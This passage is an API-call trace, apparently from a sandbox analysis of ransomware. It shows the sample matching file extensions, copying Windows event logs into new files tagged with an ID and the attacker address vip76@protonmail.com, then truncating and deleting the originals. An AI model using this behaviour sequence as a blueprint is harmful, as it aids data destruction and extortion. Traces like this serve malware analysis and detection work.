	[0071.534] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf")) returned 0x20
	[0071.534] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.534] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.534] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0071.534] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0071.534] lstrlenW (lpString=".doc") returned 4
	[0071.534] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0071.534] lstrlenW (lpString=".docx") returned 5
	[0071.534] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0071.534] lstrlenW (lpString=".pdf") returned 4
	[0071.534] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0071.534] lstrlenW (lpString=".xls") returned 4
	[0071.534] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0071.534] lstrlenW (lpString=".xlsx") returned 5
	[0071.534] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0071.535] lstrlenW (lpString=".ppt") returned 4
	[0071.535] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0071.535] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0071.535] lstrlenW (lpString=".zip") returned 4
	[0071.535] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0071.535] lstrlenW (lpString=".rar") returned 4
	[0071.535] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0071.535] lstrlenW (lpString=".bz2") returned 4
	[0071.535] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0071.535] lstrlenW (lpString=".7z") returned 3
	[0071.535] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0071.535] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0071.535] lstrlenW (lpString=".dbf") returned 4
	[0071.535] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0071.535] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0071.535] lstrlenW (lpString=".1cd") returned 4
	[0071.535] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0071.535] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0071.535] lstrlenW (lpString=".jpg") returned 4
	[0071.535] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0071.535] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0071.535] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0071.535] lstrlenW (lpString=".doc") returned 4
	[0071.535] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0071.535] lstrlenW (lpString=".docx") returned 5
	[0071.535] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0071.536] lstrlenW (lpString=".pdf") returned 4
	[0071.536] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0071.536] lstrlenW (lpString=".xls") returned 4
	[0071.536] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0071.536] lstrlenW (lpString=".xlsx") returned 5
	[0071.536] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0071.536] lstrlenW (lpString=".ppt") returned 4
	[0071.536] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0071.536] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0071.536] lstrlenW (lpString=".zip") returned 4
	[0071.536] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0071.536] lstrlenW (lpString=".rar") returned 4
	[0071.536] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0071.536] lstrlenW (lpString=".bz2") returned 4
	[0071.536] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0071.536] lstrlenW (lpString=".7z") returned 3
	[0071.536] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0071.536] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0071.536] lstrlenW (lpString=".dbf") returned 4
	[0071.536] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0071.536] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0071.536] lstrlenW (lpString=".1cd") returned 4
	[0071.536] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0071.536] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0071.536] lstrlenW (lpString=".jpg") returned 4
	[0071.536] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0071.537] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0071.537] lstrlenW (lpString="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 71
	[0071.537] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0071.538] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=1052672) returned 1
	[0071.538] CloseHandle (hObject=0x2c0) returned 1
	[0071.538] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 0x20
	[0071.538] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.538] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0071.538] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.538] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.538] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0071.539] GetLastError () returned 0x0
	[0071.539] ReadFile (in: hFile=0x2c0, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0071.567] WriteFile (in: hFile=0x358, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0071.820] ReadFile (in: hFile=0x2c0, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x1010, lpOverlapped=0x0) returned 1
	[0071.829] WriteFile (in: hFile=0x358, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x1020, lpOverlapped=0x0) returned 1
	[0071.832] ReadFile (in: hFile=0x2c0, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.832] WriteFile (in: hFile=0x358, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x162, lpOverlapped=0x0) returned 1
	[0071.832] SetEndOfFile (hFile=0x358) returned 1
	[0072.078] CloseHandle (hObject=0x358) returned 1
	[0072.680] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.681] SetEndOfFile (hFile=0x2c0) returned 1
	[0072.682] CloseHandle (hObject=0x2c0) returned 1
	[0072.682] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0072.683] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 1
	[0072.932] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0072.932] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0072.932] lstrlenW (lpString=".doc") returned 4
	[0072.932] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0072.932] lstrlenW (lpString=".docx") returned 5
	[0072.932] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0072.932] lstrlenW (lpString=".pdf") returned 4
	[0072.933] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0072.933] lstrlenW (lpString=".xls") returned 4
	[0072.933] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0072.933] lstrlenW (lpString=".xlsx") returned 5
	[0072.933] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0072.933] lstrlenW (lpString=".ppt") returned 4
	[0072.933] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0072.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0072.933] lstrlenW (lpString=".zip") returned 4
	[0072.933] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0072.933] lstrlenW (lpString=".rar") returned 4
	[0072.933] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0072.933] lstrlenW (lpString=".bz2") returned 4
	[0072.933] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0072.933] lstrlenW (lpString=".7z") returned 3
	[0072.933] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0072.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0072.933] lstrlenW (lpString=".dbf") returned 4
	[0072.933] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0072.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0072.933] lstrlenW (lpString=".1cd") returned 4
	[0072.933] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0072.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0072.933] lstrlenW (lpString=".jpg") returned 4
	[0072.933] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0072.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0072.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0072.933] lstrlenW (lpString=".doc") returned 4
	[0072.933] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0072.933] lstrlenW (lpString=".docx") returned 5
	[0072.933] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0072.933] lstrlenW (lpString=".pdf") returned 4
	[0072.934] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0072.934] lstrlenW (lpString=".xls") returned 4
	[0072.934] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0072.934] lstrlenW (lpString=".xlsx") returned 5
	[0072.934] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0072.934] lstrlenW (lpString=".ppt") returned 4
	[0072.934] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0072.934] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0072.934] lstrlenW (lpString=".zip") returned 4
	[0072.934] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0072.934] lstrlenW (lpString=".rar") returned 4
	[0072.934] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0072.934] lstrlenW (lpString=".bz2") returned 4
	[0072.934] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0072.934] lstrlenW (lpString=".7z") returned 3
	[0072.934] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0072.934] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0072.934] lstrlenW (lpString=".dbf") returned 4
	[0072.934] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0072.934] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0072.934] lstrlenW (lpString=".1cd") returned 4
	[0072.934] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0072.934] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0072.934] lstrlenW (lpString=".jpg") returned 4
	[0072.934] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0072.934] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0072.934] lstrlenW (lpString="Microsoft-Windows-Bits-Client%4Operational.evtx") returned 47
	[0072.934] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0072.935] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=69632) returned 1
	[0072.935] CloseHandle (hObject=0x2f8) returned 1
	[0072.935] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 0x20
	[0072.935] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.935] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0072.935] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.935] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.935] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0072.935] GetLastError () returned 0x0
	[0072.936] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0072.940] WriteFile (in: hFile=0x350, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0072.942] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.942] WriteFile (in: hFile=0x350, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x132, lpOverlapped=0x0) returned 1
	[0072.942] SetEndOfFile (hFile=0x350) returned 1
	[0072.942] CloseHandle (hObject=0x350) returned 1
	[0072.944] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.944] SetEndOfFile (hFile=0x2f8) returned 1
	[0072.945] CloseHandle (hObject=0x2f8) returned 1
	[0072.946] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0072.946] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 1
	[0072.946] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0072.946] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0072.946] lstrlenW (lpString=".doc") returned 4
	[0072.946] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0072.946] lstrlenW (lpString=".docx") returned 5
	[0072.946] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0072.946] lstrlenW (lpString=".pdf") returned 4
	[0072.946] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0072.946] lstrlenW (lpString=".xls") returned 4
	[0072.946] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0072.946] lstrlenW (lpString=".xlsx") returned 5
	[0072.946] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0072.946] lstrlenW (lpString=".ppt") returned 4
	[0072.946] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0072.946] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0072.946] lstrlenW (lpString=".zip") returned 4
	[0072.947] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0072.947] lstrlenW (lpString=".rar") returned 4
	[0072.947] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0072.947] lstrlenW (lpString=".bz2") returned 4
	[0072.947] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0072.947] lstrlenW (lpString=".7z") returned 3
	[0072.947] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0072.947] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0072.947] lstrlenW (lpString=".dbf") returned 4
	[0072.947] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0072.947] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0072.947] lstrlenW (lpString=".1cd") returned 4
	[0072.947] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0072.947] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0072.947] lstrlenW (lpString=".jpg") returned 4
	[0072.947] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0072.947] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0072.947] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0072.947] lstrlenW (lpString=".doc") returned 4
	[0072.947] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0072.947] lstrlenW (lpString=".docx") returned 5
	[0072.947] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0072.947] lstrlenW (lpString=".pdf") returned 4
	[0072.947] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0072.947] lstrlenW (lpString=".xls") returned 4
	[0072.947] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0072.948] lstrlenW (lpString=".xlsx") returned 5
	[0072.948] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0072.948] lstrlenW (lpString=".ppt") returned 4
	[0072.948] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0072.948] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0072.948] lstrlenW (lpString=".zip") returned 4
	[0072.948] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0072.948] lstrlenW (lpString=".rar") returned 4
	[0072.948] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0072.948] lstrlenW (lpString=".bz2") returned 4
	[0072.948] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0072.948] lstrlenW (lpString=".7z") returned 3
	[0072.948] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0072.948] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0072.948] lstrlenW (lpString=".dbf") returned 4
	[0072.948] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0072.948] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0072.948] lstrlenW (lpString=".1cd") returned 4
	[0072.948] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0072.948] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0072.948] lstrlenW (lpString=".jpg") returned 4
	[0072.948] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0072.948] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0072.948] lstrlenW (lpString="Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 49
	[0072.948] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0072.949] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=69632) returned 1
	[0072.949] CloseHandle (hObject=0x2f8) returned 1
	[0072.949] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 0x20
	[0072.949] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.949] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0072.949] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.949] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.949] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0072.949] GetLastError () returned 0x0
	[0072.949] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0072.952] WriteFile (in: hFile=0x350, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0072.954] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.954] WriteFile (in: hFile=0x350, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x136, lpOverlapped=0x0) returned 1
	[0072.954] SetEndOfFile (hFile=0x350) returned 1
	[0072.954] CloseHandle (hObject=0x350) returned 1
	[0072.956] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.956] SetEndOfFile (hFile=0x2f8) returned 1
	[0072.958] CloseHandle (hObject=0x2f8) returned 1
	[0072.958] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0072.958] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 1
